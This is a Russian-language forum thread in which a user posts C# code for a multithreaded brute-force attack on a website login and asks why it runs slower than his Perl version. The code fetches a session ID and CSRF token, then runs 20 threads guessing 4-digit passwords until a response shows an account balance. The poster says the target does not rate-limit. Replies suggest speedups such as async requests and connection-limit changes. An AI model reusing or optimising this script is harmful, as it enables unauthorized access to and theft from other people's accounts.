 |
C# многопотоки и bruteforce - Вопросы и ответы, обсуждения - Ваши вопросы по C# только в данном разделе |
10.12.2013, 10:47
|
#1
|
|
|
|
Разведчик
|
 Регистрация: 01.03.2012
 Сообщений: 0
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
C# многопотоки и bruteforce
Всем доброго времени суток, столкнулся с проблемой при написании банального брутфорса, точней с проблемой при переписании с perl скрипта на C#
Дилема в том, что perl отрабатывает в 20 потоков ~ 100 p\s за 3 секунды
На C# этот же вариант отрабатывает ~ 10-15 p\s
Просто хотелось бы, что бы вы глянули на куски кода, может где-то я ошибся?
Код:
private void button1_Click(object sender, EventArgs e)
{
Thread tr = new Thread(delegate()
{
string ans = SendPost("https://site", "", 0, "");
Match sidregex = new Regex(@"(sid=\S+;)", RegexOptions.Compiled | RegexOptions.IgnoreCase).Match(ans);
sid = sidregex.Groups[1].Value;
Invoke(new ParametrizedMethodInvoker(debuger), "SID: " + sid);
ans = SendPost("https://site/login", "", 0, sid);
sidregex = new Regex(@"""csrf_token"", '(\S+)'", RegexOptions.Compiled | RegexOptions.IgnoreCase).Match(ans);
token = sidregex.Groups[1].Value;
Invoke(new ParametrizedMethodInvoker(debuger), "Token: " + token);
for (int i = 0; i < 20; i++)
(new Thread(new ThreadStart(brute))).Start();
});
tr.Start();
}
В потоке вызывается цикл, где идёт перебор диапазона 1000 - 9999
Код:
public void brute()
{
double pwd;
int flag = 0;
int i = 0;
while (true)
{
lock (ACClocker)
{
if (flag == 1 || ACCs.Count == 0)
{
break;
}
pwd = ACCs.Dequeue();
}
string ans = SendPost("https://site/auth/enter", "login=login&password="+pwd.toString(), 1, sid);
if (ans.Contains("oBalanceSum"))
{
MessageBox.Show(pwd.ToString());
flag = 1;
}
}
}
Последний раз редактировалось slejpni; 10.12.2013 в 10:51.
|
|
|
10.12.2013, 11:03
|
#2
|
|
|
|
Разведчик
|
 Регистрация: 18.11.2013
 Сообщений: 3
 Популярность: 197
 Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
|
Re: C# многопотоки и bruteforce
1. Вероятно, так-же тормозит работу поиск подстроки.
2. Используй StringBuilder для конкатенации строк (хотя тут можно было-бы вообще все нужные пароли/запросы просто создать в памяти заранее - пусть бы ушло пару мегабайт на строки, но получилось-бы быстрее)
3. Что есть AccLocker? Зачем потокам тут блочить друг друга?
4. Неужели до сих пор существуют ресурсы, что не блочат кучу попыток авторизации с одного айпи?
Последний раз редактировалось NerdyCodingKid; 10.12.2013 в 11:07.
|
|
|
10.12.2013, 11:06
|
#3
|
|
|
|
Рыцарь-капитан
|
 Регистрация: 29.01.2010
 Сообщений: 547
 Популярность: 41279
 Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
|
Re: C# многопотоки и bruteforce
может у тебя по дефолту максимальное кол-во соединений 2?
|
|
|
10.12.2013, 11:25
|
#4
|
|
|
|
Сержант
|
 Регистрация: 01.10.2011
 Сообщений: 128
 Популярность: 5723
 Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
|
Re: C# многопотоки и bruteforce
________________
Talk is cheap. Show me the code
— Linus Torvalds
Последний раз редактировалось Yukikaze; 10.12.2013 в 11:29.
Причина: Добавлено сообщение
|
|
|
10.12.2013, 12:33
|
#5
|
|
|
|
Разведчик
|
 Регистрация: 18.11.2013
 Сообщений: 3
 Популярность: 197
 Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
|
Re: C# многопотоки и bruteforce
|
|
|
10.12.2013, 12:41
|
#6
|
|
|
|
Сержант
|
 Регистрация: 01.10.2011
 Сообщений: 128
 Популярность: 5723
 Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
|
Re: C# многопотоки и bruteforce
Почему нельзя, можно, но это не рационально в плане распределения задач. К примеру мы разделили пул задач на 5 очередей, по одному на каждый поток. Первый и пятый потоки закончили свою работу раньше других и ушли в простой, с оставшейся работой расправляются уже 3 потока вместо 5, а например если еще один поток почистит свой пул то вообще 2 потока останется
________________
Talk is cheap. Show me the code
— Linus Torvalds
|
|
|
10.12.2013, 13:01
|
#7
|
|
|
|
Разведчик
|
 Регистрация: 18.11.2013
 Сообщений: 3
 Популярность: 197
 Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
|
Re: C# многопотоки и bruteforce
М. И? А не получится ли так, что оставшиеся два потока получат то время, которое отжирали другие три, когда эти три закончат свою работу?
|
|
|
10.12.2013, 13:18
|
#8
|
|
|
|
Старший сержант
|
 Регистрация: 29.07.2011
 Сообщений: 197
 Популярность: 8989
 Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
|
Re: C# многопотоки и bruteforce
|
|
|
10.12.2013, 13:21
|
#9
|
|
|
|
Разведчик
|
 Регистрация: 18.11.2013
 Сообщений: 3
 Популярность: 197
 Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
|
Re: C# многопотоки и bruteforce
Здравая мысль. В таком случае, стоит пускать каждый запрос асинхронно.
|
|
|
10.12.2013, 13:25
|
#10
|
|
|
|
Старший сержант
|
 Регистрация: 29.07.2011
 Сообщений: 197
 Популярность: 8989
 Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
|
Re: C# многопотоки и bruteforce
|
|
|
10.12.2013, 13:28
|
#11
|
|
|
|
Сержант
|
 Регистрация: 01.10.2011
 Сообщений: 128
 Популярность: 5723
 Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
|
Re: C# многопотоки и bruteforce
В чем смысл асинхронности запроса если начать обрабатывать данные ты сможешь только после того как их получишь, только код усложняется
ЗЫ Распараллеливание != асинхронность
________________
Talk is cheap. Show me the code
— Linus Torvalds
|
|
|
10.12.2013, 13:38
|
#12
|
|
|
|
Разведчик
|
 Регистрация: 01.03.2012
 Сообщений: 0
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: C# многопотоки и bruteforce
 |
Цитата: |
 |
|
|
|
|
|
|
|
|
может у тебя по дефолту максимальное кол-во соединений 2?
|
|
 |
|
 |
|
эмм.. я не ограничивал кол-во коннектов.. где глянуть?
 |
Цитата: |
 |
|
|
 |
Сообщение от NerdyCodingKid |
 |
|
|
|
|
|
|
может у тебя по дефолту максимальное кол-во соединений 2?
1. Вероятно, так-же тормозит работу поиск подстроки.
2. Используй StringBuilder для конкатенации строк (хотя тут можно было-бы вообще все нужные пароли/запросы просто создать в памяти заранее - пусть бы ушло пару мегабайт на строки, но получилось-бы быстрее)
3. Что есть AccLocker? Зачем потокам тут блочить друг друга?
4. Неужели до сих пор существуют ресурсы, что не блочат кучу попыток авторизации с одного айпи?
|
|
 |
|
 |
|
1,2 кхм, я не задумывался над этим.. на сколько критичен такой метод?
в perl я использовал регулярку для поиска строки. Можете привести пример, если не сложно!?..
3. AccLocker как и сказали выше для перебора словаря.
По сути там массив чисел от 1000 до 9999 - если можно как-то по другому их перебрать, дайте знать пожалуйста..
4. Слава богам, да.. есть такой ресурс.. ради которого нужно переписать скрипт.. =)
 |
Цитата: |
 |
|
|
 |
Сообщение от Yukikaze |
 |
|
|
|
|
|
|
Кстати, о самой проблеме, а что в методе SendPost? Кроме него может тормозить только Invoke ибо идет обращение к интерфейсу, а это затратно
|
|
 |
|
 |
|
кхм, есть два инвока.. для отслеживания прогресса. кхм, попробую убрать.. но нужно как-то всё таки знать сколько отработано.. =(
 |
Цитата: |
 |
|
|
 |
Сообщение от Yukikaze |
 |
|
|
|
|
|
|
Здравая мысль. В таком случае, стоит пускать каждый запрос асинхронно.
|
|
 |
|
 |
|
Можете подсказать как реализовать или в какую сторон копать?
|
|
|
10.12.2013, 13:41
|
#13
|
|
|
|
Сержант
|
 Регистрация: 01.10.2011
 Сообщений: 128
 Популярность: 5723
 Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
|
Re: C# многопотоки и bruteforce
________________
Talk is cheap. Show me the code
— Linus Torvalds
|
|
|
10.12.2013, 13:42
|
#14
|
|
|
|
Рыцарь-капитан
|
 Регистрация: 29.01.2010
 Сообщений: 547
 Популярность: 41279
 Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
|
Re: C# многопотоки и bruteforce
|
|
|
10.12.2013, 13:42
|
#15
|
|
|
|
Разведчик
|
 Регистрация: 18.11.2013
 Сообщений: 3
 Популярность: 197
 Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
|
Re: C# многопотоки и bruteforce
Последний раз редактировалось NerdyCodingKid; 10.12.2013 в 13:45.
Причина: Добавлено сообщение
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
[Помогите!] Многопоточность
|
=PaLeTiZaToR= |
Вопросы и ответы, обсуждения |
0 |
09.10.2012 22:03 |
[Помогите!] Многопоточность!
|
anonops |
Вопросы и ответы, обсуждения |
7 |
25.04.2012 21:39 |
[Помогите!] Многопоточность
|
=PaLeTiZaToR= |
Вопросы и ответы, обсуждения |
2 |
08.01.2012 20:23 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 11:34.
|
 |